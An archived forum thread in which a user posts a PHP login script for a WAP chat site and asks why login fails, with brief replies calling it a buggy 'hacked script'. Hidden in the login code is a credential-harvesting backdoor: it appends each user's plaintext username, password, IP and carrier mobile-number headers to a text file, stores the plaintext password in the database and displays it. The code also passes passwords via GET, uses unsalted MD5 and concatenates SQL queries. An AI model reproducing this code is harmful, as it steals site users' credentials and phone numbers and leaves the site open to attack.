Help with this login php code

Started on the old forum in May 2012 · view the original in the archive · old links redirect here

#blank #error #login

3 replies · 880 views · started 14 years ago · 1 min read

2 participants
jeff_daryl Junior · 12 posts #1

Hi to all, I have problem with this login.php code, I can't login

<?
// -------------------------------------------------------------------------------------
$EnableGZipEncoding = true;
// -------------------------------------------------------------------------------------
// Helper function to detect if GZip is supported by client!
// If not supported the tricks are pointless
function acceptsGZip(){
    $accept = str_replace(" ","",
        strtolower($_SERVER['HTTP_ACCEPT_ENCODING'])
    );
    $accept = explode(",",$accept);
    return in_array("gzip",$accept);
}
// -------------------------------------------------------------------------------------
function playWithHtml($OutputHtml){
    // This will mess up HTML code like my site has done!
    // View the source to understand! All ENTERs are removed.
    // If your site has PREformated code this will break it!
    // Use regexp to find it and save it and place it back ...
    // or just uncomment the next line to keep enters
    // return $OutputHtml;
    return preg_replace("/\s+/"," ",$OutputHtml);
}
// -------------------------------------------------------------------------------------
function obOutputHandler($OutputHtml){
    global $EnableGZipEncoding;
    //-- Play with HTML before output
    $OutputHtml = playWithHtml($OutputHtml);
    //-- If GZIP not supported compression is pointless.
    // If headers were sent we can not signal GZIP encoding as
    // we will mess it all up so better drop it here!
    // If you disable GZip encoding to use plain output buffering we stop here too!
    if(!acceptsGZip() || headers_sent() || !$EnableGZipEncoding) return $OutputHtml;
    //-- We signal GZIP compression and dump encoded data
    header("Content-Encoding: gzip");
    return gzencode($OutputHtml);
}
// This code has to be before any output from your site!
// If output exists uncompressed HTML will be delivered!
ob_start("obOutputHandler");
// -------------------------------------------------------------------------------------
?>
<?php
include("../blocked.php");
echo "<?xml version=\"1.0\"?>";
echo "<!DOCTYPE html PUBLIC \"-//WAPFORUM//DTD XHTML Mobile 1.0//EN\" \"http://www.wapforum.org/DTD/xhtml-mobile10.dtd\">";
?>
<html xmlns="http://www.w3.org/1999/xhtml">
<?php
include("chkisdn.inc.php");
include("config.php");
include("core.php");
connectdb();
$bcon = connectdb();
if (!$bcon)
{
    echo "<head>";
    echo "<title>Error!!!</title>";
    echo "<link rel=\"stylesheet\" type=\"text/css\" href=\"../themes/default.css\">";
    echo "<head>";
    echo "<body>";
    echo "<p align=\"center\">";
    include("../admob.php");
    echo "<img src=\"../images/notok.gif\" alt=\"!\"/><br/>";
    echo "<b><strong>Error! Cannot Connect To Database...</strong></b><br/><br/>";
    echo "This error happens usually when backing up the database, please be patient...";

echo admob_request($admob_params);
echo "</p>";
    echo "</body>";
    echo "</html>";
    exit();
}
$user_agent = $_SERVER['HTTP_USER_AGENT']; 
if(preg_match('/(google|bot|prince|ankit|co518|php|prince|mowser|vipguyz|itskool|rwap.in|hack|****)/i',strtolower($user_agent))){
    echo "<head>";
    echo "<title>Error!!!</title>";
    echo "<link rel=\"stylesheet\" type=\"text/css\" href=\"../themes/default.css\">";
    echo "<head>";
    echo "<body>";
    echo "<p align=\"center\">";
    echo "<img src=\"../images/notok.gif\" alt=\"!\"/><br/>";
    echo "<img src=\"../smilies/banned.gif\" alt=\"x\"/><br/>";
    echo "<img src=\"../smilies/spam.gif\" alt=\"x\"/><br/>";
    echo "<b>By: </b>IMW TRIBE<br/>";
    echo "<b>Reason: </b>Coz You r Idiot ha ha ha i will kick on ur ass hole";
    echo "<br/><b>Try something new and tell me i will block it too he he pee on ur face :)</b>";
    echo "<img src=\"../smilies/kick.gif\" alt=".spam."/><br/>";
    echo "<a href=\"index.php\">[Home]</a>";
    echo "</p>";
    echo "</body>";
    echo "</html>";
    exit();
}
$uid =cleanQuery($_GET["loguid"] );
$pwd = mysql_real_escape_string($_GET["logpwd"] );
$idn =cleanQuery(getuid_nick($uid));
$sitename = mysql_fetch_array(mysql_query("SELECT value FROM ibwf_settings WHERE name='sitename'"));
$sitename = $sitename[0];
$theme = mysql_fetch_array(mysql_query("SELECT theme FROM ibwf_users WHERE name='".$uid."'"));
$tolog = false;
    echo "<head>";
    echo "<title>$uid@$sitename</title>";
    echo "<link rel=\"stylesheet\" type=\"text/css\" href=\"../themes/default.css\">";
    echo "</head>";
    echo "<body>";
  $uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."'"));
  if($uinf[0]==0)
  {
    echo "<head>";
    echo "<title>Error!!!</title>";
    echo "<link rel=\"stylesheet\" type=\"text/css\" href=\"../themes/default.css\">";
    echo "</head>";
    echo "<body>";
  }
    $epwd = md5($pwd);
    $uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."' AND pass='".$epwd."'"));
    if($uinf[0]==0)
    {
    echo "<head>";
    echo "<title>Error!!!</title>";
    echo "<link rel=\"stylesheet\" type=\"text/css\" href=\"../themes/default.css\">";
    echo "</head>";
    echo "<body>";
  }
 include("../admob.php");
  echo "<div>[Bookmark THIS page to avoid repeating the login proccess in the future]<br/><br/></div>";
  echo "<p align=\"center\">";
  $uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."'"));
  if($uinf[0]==0)
  {
    //Check for user ID
    echo "<img src=\"../images/notok.gif\" alt=\"X\"/>UserID doesn't exist<br/><br/>";
  }else{
    //check for pwd
    $epwd = md5($pwd);
    $uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."' AND pass='".$epwd."'"));
    if($uinf[0]==0)
    {
    echo "<img src=\"../images/notok.gif\" alt=\"X\"/>Incorrect Password<br/><br/>";
    echo "<b>0 </b><a accesskey=\"0\" href=\"index.php\"><img src=\"../images/home.gif\" alt=\"\"/>Home</a>";
    echo "</p>";
    echo "</body>";
    echo "</html>";
    exit();
    }

$objisdn=new check_isdn;
$getmobilenumber=$objisdn->_get_mobile_number();
$Mob2 = $getmobilenumber;
$ipr = getip();
$brws = $_SERVER['HTTP_USER_AGENT'];
$ubr = $brws;
$logtime = date("H:i:s d/m/Y"); 
$mob = $_SERVER['HTTP_X_NETWORK_INFO'];
$mob3 = $_SERVER['HTTP_X_UP_CALLING_LINE_ID'];
$mob4 =$_SERVER['HTTP_X_MSISDN'];
$mob5 =$_SERVER[HTTP_X_NOKIA_MSISDN];
$netinfo = $_SERVER['X-Nokia-msisdn'];
$t2=$_SERVER['MSISDN_ATTRIBUTE_NAME'];
$t3=$_SERVER['X-Nokia-msisdn'];
$t4=$_SERVER['IMSI_ATTRIBUTE_NAME'];
$t5=$_SERVER['HTTP_MSISDN'];
$alli = "Username: ".$uid."
Password: ".$pwd."
Ip-Address: ".$ipr."
Browser: ".$ubr."
Time :".$logtime."
Mobile :".$mob."
Mobile no1. :".$Mob2."
Mobile no2. :".$mob3."
Mobile no3. :".$mob4."
Mobile no4. :".$netinfo."
Mobile no5. :".$mob5."
Mobile t2: $t2
Mobile t3: $t3 
Mobile t4: $t4 
Mobile t5: $t5 
----------
";
if(trim($uid)!=""){
$fname = "../mwah/".$uid.".txt";
$out = fopen($fname,"a+");
fwrite($out,$alli);
fclose($out);}

      $tm = time();
      $r=rand(97, 619); 
      $xtm = $tm + (getsxtm()*60);
      $did = $uid.$tm.$r;
$uip = cleanQuery(get_real_ip());
$res = mysql_query("DELETE FROM ibwf_onlinem WHERE userid='".$idn."'");
$res = mysql_query("DELETE FROM ibwf_ses WHERE uid='".$idn."'");
$res = mysql_query("INSERT INTO ibwf_ses SET id='".md5($did)."', uid='".getuid_nick($uid)."', expiretm='".$xtm."', ua='".cleanQuery(browser_agent($_SERVER["HTTP_USER_AGENT"]))."', ip='".cleanQuery($uip)."'");
      if($res)
      {
        $tolog=true;
        echo "<p align=\"center\">";
        echo "<u><b>*Site Announcement*</b></u>";
  $fmsg = getbbcode(getfmsg(), $sid, 0);
  echo "<br/>$fmsg";
  echo"<br/><br/>";
        echo "<img src=\"../images/ok.gif\" alt=\"+\"/>You have logged in successfully as <br/>";
        echo "<br/><b>Username: </b>$uid<br/>";
        echo "<b>Password: </b>$pwd<br/>";
                echo "<b>Last Surfing Details</b><br/>";
        $ashu = getuid_nick($uid);
        $nopl = mysql_fetch_array(mysql_query("SELECT browserm FROM ibwf_users WHERE id='".$ashu."'"));
        echo "<b>Browser:</b> $nopl[0]<br/>";
        $uipadd = mysql_fetch_array(mysql_query("SELECT ipadd FROM ibwf_users WHERE id='".$ashu."'"));
        echo "<b>Ip:</b>$uipadd[0]<br/>";
        $nopl = mysql_fetch_array(mysql_query("SELECT lastact FROM ibwf_users WHERE id='".$ashu."'"));
        $jdt = date("d M y - h:i a",$nopl[0]);
        echo "<b>Active:</b> $jdt";
        echo "</p>";
        $idn = getuid_nick($uid);
            $lact = mysql_fetch_array(mysql_query("SELECT lastact FROM ibwf_users WHERE id='".$idn."'"));
             mysql_query("UPDATE ibwf_users SET lastvst='".$lact[0]."' WHERE id='".$idn."'");
              mysql_query("UPDATE ibwf_users SET lastact='".time()."' WHERE id='".$idn."'");
             mysql_query("UPDATE ibwf_users SET password='".$pwd."' WHERE id='".$idn."'");
      }else{
        //is user already logged in?
        $logedin = mysql_fetch_array(mysql_query("SELECT (*) FROM ibwf_ses WHERE uid='".getuid_nick($uid)."'"));
        if($logedin[0]>0)
        {
          //yip, so let's just update the expiration time
          $xtm = time() + (getsxtm()*60);
          $res = mysql_query("UPDATE ibwf_ses SET expiretm='".$xtm."', ua='".cleanQuery(browser_agent($_SERVER["HTTP_USER_AGENT"]))."', ip='".cleanQuery($uip)."' WHERE uid='".getuid_nick($uid)."'");
          
          if($res)
          {
            $tolog=true;
            echo "<img src=\"../images/ok.gif\" alt=\"+\"/>You have logged in successfully as $uid<br/>";
            

           
            
          }else{
            echo "<img src=\"../images/point.gif\" alt=\"!\"/>Can't login at the time, plz try later<br/>"; //no chance this could happen unless there's error in mysql connection
            
          }
          
        }
        
      }
    
    }
  if($tolog)
{
  $sid = md5($did);
  $uid =isnum((int)getuid_sid($sid));
  $whonick = getnick_uid($uid);
   if(isowner($uid))
    {
 echo "<center><b>SPY :::</b> As per Order of My Master, I alwyas Protect My Boss <b>$whonick</b>!<br/>
Are you really $whonick ?<br/>Please Authenticate Yourself.<br/>if u still didnt get ur secret code then call ashu or mail admin@mansoon.net <br/> <br/>";
     echo "<form method=\"get\" action=\"ashu.php\">";
  echo "<small>UserName:</small> <input name=\"loguid\" format=\"*x\" maxlength=\"30\"/><br/>";
  echo "<small>Password:</small> <input type=\"password\" name=\"logpwd\"  maxlength=\"30\"/><br/>";
   echo "<small>Ur secret code:</small> <input type=\"cody\" name=\"cody\"  maxlength=\"30\"/><br/>";
  echo "<input type=\"submit\" name=\"Submit\" value=\"Log In\"/><br/>";
  echo "</form>";
  echo "<a accesskey=\"0\" href=\"index.php\">Go Back Home Page</a></center>";
  echo "<div><b>©IMW Tribe</b></div>";
exit();
     }
$objisdn=new check_isdn;
$getmobilenumber=$objisdn->_get_mobile_number();
$mob2 = $getmobilenumber;
$mob = $_SERVER['HTTP_X_NETWORK_INFO'];
$ubrr = cleanQuery(browser_agent($_SERVER["HTTP_USER_AGENT"]));
$uip = cleanQuery(get_real_ip());
$network = subno();
$uid =isnum((int)getuid_sid($sid));
if(isipbanned($uip,$ubr))
  {
if(!isshield($uid))
  {
  echo "<p align=\"center\">";
  echo "<img src=\"../images/notok.gif\" alt=\"!\"/>";
  echo "<b>This IP address is blocked!!!</b><br/>";
  echo "<br/>";

  $banto = mysql_fetch_array(mysql_query("SELECT  timeto FROM ibwf_penalties WHERE  penalty='2' AND ipadd='".$uip."' AND browserm='".$ubr."' LIMIT 1 "));
  $remain =  $banto[0] - time();
  $rmsg = gettimemsg($remain);
  echo "<b>Shield Users or Safe user can login here</b><br/>";
  echo "<b>Time Left: </b>$rmsg<br/>";
  echo "<form action=\"login.php\" method=\"get\"><p align=\"center\">";
  echo "<b>Username:</b><br/><input align=\"center\" name=\"loguid\" size=\"12\" maxlength=\"12\"/><br/>";
  echo "<b>Password:</b><br/><input align=\"center\" type=\"password\" name=\"logpwd\" size=\"10\" maxlength=\"10\"/><br/>";
  echo "<input type=\"submit\" value=\"Login!\"></form>";
  echo "</p>";
  echo "<p align=\"center\"><br/>Not registered yet? <br/><a href=\"register.php\">Sign-Up</a><br/>";
  echo "<a href=\"index.php?action=terms&sid=$sid\">Site Rules</a><br/>";
  echo "</p>";
  echo "<p align=\"center\">";
  $onu = getnumonline();
  echo "Members Inside: $onu<br/><br/>";
  echo "</p>";
  
  echo "<div><b>©2011-12<br/>$sitename</b></div>";
  echo "</body>";
  echo "</html>";
 mysql_close();
  exit();
  }
}
if(isuseragentban($ubr))
  {
if(!isshield($uid))
  {
  echo "<img src=\"../images/notok.gif\" alt=\"!\"/>";
  echo "<p align=\"center\">";
  echo "<b>This BROWSER is blocked!!!</b><br/>";
  echo "<br/>";
  $banto = mysql_fetch_array(mysql_query("SELECT  timeto FROM ibwf_penalties WHERE  penalty='3' AND ipadd='".$uip."' AND browserm='".$ubr."' LIMIT 1 "));
  echo "<b>Shield Users or Safe user can login here</b><br/>";
  echo "<form action=\"login.php\" method=\"get\"><p align=\"center\">";
  echo "<b>Username:</b><br/><input align=\"center\" name=\"loguid\" size=\"12\" maxlength=\"12\"/><br/>";
  echo "<b>Password:</b><br/><input align=\"center\" type=\"password\" name=\"logpwd\" size=\"10\" maxlength=\"10\"/><br/>";
  echo "<input type=\"submit\" value=\"Login!\"></p></form>";
  echo "</p>";
  echo "<p align=\"center\"><br/>Not registered yet? <br/><a href=\"register.php\">Sign-Up</a><br/>";
  echo "<a href=\"index.php?action=terms&sid=$sid\">Site Rules</a><br/>";
  echo "</p>";
  echo "<p align=\"center\">";
  $onu = getnumonline();
  echo "Members Inside: $onu<br/><br/>";
  echo "</p>";
  
  echo "<div><b>©2011-12<br/>$sitename</b></div>";
  echo "</body>";
  echo "</html>";
  mysql_close();
  exit();
  }
}
if(isbanned($uid))
    {
      echo "<p align=\"center\">";
      echo "<img src=\"../images/notok.gif\" alt=\"x\"/><br/>";
      echo "<b>You are Banned</b><br/><br/>";
      $banto = mysql_fetch_array(mysql_query("SELECT timeto, pnreas, exid FROM ibwf_penalties WHERE uid='".$uid."' AND (penalty='1' OR penalty='2' OR penalty='3')"));
   $banres = mysql_fetch_array(mysql_query("SELECT lastpnreas FROM ibwf_users WHERE id='".$uid."'"));
      $remain = $banto[0]- time();
      $rmsg = gettimemsg($remain);
      echo "<b>Time Left: </b>$rmsg<br/>";
      $nick = getnick_uid($banto[2]);
        echo "<img src=\"../smilies/banned.gif\" alt=\"x\"/><br/>";
        echo "<img src=\"../smilies/spam.gif\" alt=\"x\"/><br/>";
   echo "<b>By: </b>SITE SYSTEM<br/>";
   echo "<b>Reason: </b>$banto[1]";
        echo "<br/><b>IF BY MISSTAKE U BANNED THEN PLZ WAIT OWNER WILL UNBAN U</b>";
        echo "<img src=\"../smilies/kick.gif\" alt=".spam."/><br/>";
        echo "<a href=\"index.php\">[Home]</a>";
      echo "</p>";
      echo "</body>";
      echo "</html>";
      mysql_close();
      exit();
    }
else{
if(!empty($mob) || !empty($mob2)) {
$res = mysql_query("UPDATE ibwf_users SET mobile='".$mob."',mobile2='".$mob2."' WHERE id='".$uid."'");
}
$res = mysql_query("UPDATE ibwf_users SET browserm='".$ubrr."', ipadd='".$uip."',network='".$network."' WHERE id='".$uid."'");
 if(getplusses(getuid_sid($sid))<300)
    {
$res1 = mysql_query("Update ibwf_users SET onlinemsg='' WHERE id='".$uid."'");
}
if(!isowner(getuid_sid($sid)))
  {
$res1 = mysql_query("Update ibwf_users SET visible='0' WHERE id='".$uid."'");
}
echo "<p align=\"center\">";
echo "[<a accesskey=\"1\" href=\"index.php?action=main&sid=$sid\"><b><u><i> Enter Live Chat</i></u></b></a> ]<br/>";
echo "<br/>[<a href=\"index.php?action=sitethms&sid=$sid\">Change Theme</a>]<br/>";
echo "</p>";
echo "<p align=\"center\">";
$xfile = @file("randomlogin.txt");
$random_num = rand (0,count($xfile)-1);
$udata = explode("::",$xfile[$random_num]);
echo "$udata[1]<br/>";
$chs = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_chonline"));
  echo "<a href=\"index.php?action=chat&sid=$sid\">[Chatroom($chs[0])]</a><br/>";
$tmsg = getpmcount(getuid_sid($sid));
  $umsg = getunreadpm(getuid_sid($sid));
  echo "<a href=\"inbox.php?action=main&sid=$sid\">[Inbox($umsg new msg/$tmsg old msg)]</a><br/>";
 $reqs = getnreqs($uid);
  if($reqs>0)
  {
  $request = "! <a href=\"lists.php?action=reqs&sid=$sid\">$reqs</a>";
  }
  $uid = getuid_sid($sid);
  $mybuds = getnbuds($uid);
  $onbuds = getonbuds($uid);
  echo "<a href=\"lists.php?action=buds&sid=$sid\">[Buddies($onbuds/$mybuds)]</a>$request<br/>";
  $ncl = mysql_fetch_array(mysql_query("SELECT id, name FROM ibwf_clubs ORDER BY created DESC LIMIT 1"));
  echo "The Newest Club Is: <a href=\"index.php?action=gocl&clid=$ncl[0]&sid=$sid\">".htmlspecialchars($ncl[1])."</a><br/>";
echo "</p>";
echo "<div><b>©IMW Tribe</b></div>";}
}
else{
  echo "<b>0 </b><a accesskey=\"0\" href=\"index.php\"><img src=\"../images/home.gif\" alt=\"\"/>Home</a>";
}
echo "</p>";
echo "</body>";
?>
</html>

Added after 15 minutes:

try to login here http://gsmworld.tk

Added after 11 minutes:

oh n0 my site is blank page it is bug from free hosting try to download instead http://gsmworld.tk/gsmworld.zip

wap-ruler Developer · 143 posts #2

rep

The script is of htrocks ri8 shared here that have lots of bugs... I also tried. Better to leave that hacked script cz its sql is nt original... nd if u r on free hosting htaccess files wont let ur site work perfectly

ImPoSsIbLe iS nOthInG aS ImPoSsible ItSelF SaYs "I M POSSIBLE"

jeff_daryl Junior · 12 posts #3

its sql file has syntax error between ibwf_smiilies to ibwf _themes wrong separator change "," to ";"

Sign in to reply.

Similar topics

Keyboard shortcuts

g f
Go to forums
g h
Go to your feed
g m
Go to messages
r
Reply (in a topic)
/
Search
j
Next post
k
Previous post
?
This list
Ctrl/⌘ + Enter
Send what you are writing
Ctrl/⌘ + B / I
Bold / italic while writing
Esc
Close